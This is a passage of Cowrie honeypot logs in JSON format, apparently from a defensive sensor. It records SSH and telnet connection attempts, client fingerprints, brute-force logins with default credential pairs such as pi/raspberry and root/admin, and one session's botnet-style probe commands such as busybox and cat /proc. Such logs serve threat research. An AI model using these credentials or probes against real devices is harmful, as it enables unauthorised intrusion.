25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:40.268960Z","src_ip":"85.198.19.241","session":"2116288c371b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:40.617955Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:40.658600Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:42.042307Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo ALIVE_CHECK","message":"CMD: echo ALIVE_CHECK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:43.082821Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ivana","password":"ivana123","message":"login attempt [ivana/ivana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:43.873524Z","src_ip":"85.198.19.241","session":"2116288c371b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST 2>&1","message":"CMD: /bin/busybox TEST 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:44.156346Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc 2>&1","message":"CMD: cat /proc 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:44.871289Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./ 2>&1","message":"CMD: ./ 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:45.644726Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:45.649866Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1","size":636,"shasum":"2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1","duplicate":true,"duration":"5.9","message":"Closing TTY Log: var/lib/cowrie/tty/2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1 after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:46.537684Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.4627509117126465,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:46.551512Z","src_ip":"176.65.139.99","session":"b090d9e89371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:46.936615Z","src_ip":"85.198.19.241","session":"2116288c371b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.99102425575256,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:16.288406Z","src_ip":"172.81.62.90","session":"5fd9feba1de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"2068740d17bf","protocol":"telnet","message":"New connection: 94.23.66.112:52486 (10.17.0.5:23) [session: 2068740d17bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.081207Z"}
{"eventid":"cowrie.session.closed","duration":0.004759788513183594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.085785Z","src_ip":"94.23.66.112","session":"2068740d17bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":52464,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bfd94210db8","protocol":"ssh","message":"New connection: 178.20.210.208:52464 (159.203.135.109:22) [session: 6bfd94210db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.173748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.177809Z","src_ip":"178.20.210.208","session":"6bfd94210db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.280807Z","src_ip":"178.20.210.208","session":"6bfd94210db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test01","message":"login attempt [test/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:36.686218Z","src_ip":"178.20.210.208","session":"6bfd94210db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:35:37.796921Z","src_ip":"178.20.210.208","session":"6bfd94210db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":39104,"dst_ip":"10.17.0.5","dst_port":22,"session":"9952ccf5094f","protocol":"ssh","message":"New connection: 91.92.40.13:39104 (10.17.0.5:22) [session: 9952ccf5094f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:28.885600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:29.098253Z","src_ip":"91.92.40.13","session":"9952ccf5094f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:29.101703Z","src_ip":"91.92.40.13","session":"9952ccf5094f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:31.373551Z","src_ip":"91.92.40.13","session":"9952ccf5094f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:32.695816Z","src_ip":"91.92.40.13","session":"9952ccf5094f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":39848,"dst_ip":"159.203.135.109","dst_port":22,"session":"480f70f6f1b6","protocol":"ssh","message":"New connection: 216.155.93.75:39848 (159.203.135.109:22) [session: 480f70f6f1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:56.147272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:56.150737Z","src_ip":"216.155.93.75","session":"480f70f6f1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:56.313434Z","src_ip":"216.155.93.75","session":"480f70f6f1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"msf","password":"123456","message":"login attempt [msf/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:56.980581Z","src_ip":"216.155.93.75","session":"480f70f6f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:36:58.142472Z","src_ip":"216.155.93.75","session":"480f70f6f1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":44520,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ef0edf61093","protocol":"ssh","message":"New connection: 182.93.50.90:44520 (10.17.0.5:22) [session: 1ef0edf61093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:14.160410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:14.164610Z","src_ip":"182.93.50.90","session":"1ef0edf61093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:14.384240Z","src_ip":"182.93.50.90","session":"1ef0edf61093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"remoteuser","password":"remoteuser","message":"login attempt [remoteuser/remoteuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:15.294859Z","src_ip":"182.93.50.90","session":"1ef0edf61093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:16.515560Z","src_ip":"182.93.50.90","session":"1ef0edf61093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.103.16.19","src_port":48264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae78991cfbd0","protocol":"ssh","message":"New connection: 116.103.16.19:48264 (10.17.0.5:22) [session: ae78991cfbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:20.603485Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.103.16.19","src_port":48270,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dac4c673e72","protocol":"ssh","message":"New connection: 116.103.16.19:48270 (10.17.0.5:22) [session: 0dac4c673e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:20.632252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:20.852613Z","src_ip":"116.103.16.19","session":"ae78991cfbd0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:20.877700Z","src_ip":"116.103.16.19","session":"0dac4c673e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:21.098403Z","src_ip":"116.103.16.19","session":"ae78991cfbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:21.115867Z","src_ip":"116.103.16.19","session":"0dac4c673e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:22.374290Z","src_ip":"116.103.16.19","session":"0dac4c673e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:22.386777Z","src_ip":"116.103.16.19","session":"ae78991cfbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:23.620383Z","src_ip":"116.103.16.19","session":"0dac4c673e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:37:23.636884Z","src_ip":"116.103.16.19","session":"ae78991cfbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40506,"dst_ip":"159.203.135.109","dst_port":22,"session":"b431a46c03b8","protocol":"ssh","message":"New connection: 103.82.132.16:40506 (159.203.135.109:22) [session: b431a46c03b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:22.149508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:38:22.153888Z","src_ip":"103.82.132.16","session":"b431a46c03b8","protocol":"ssh"}
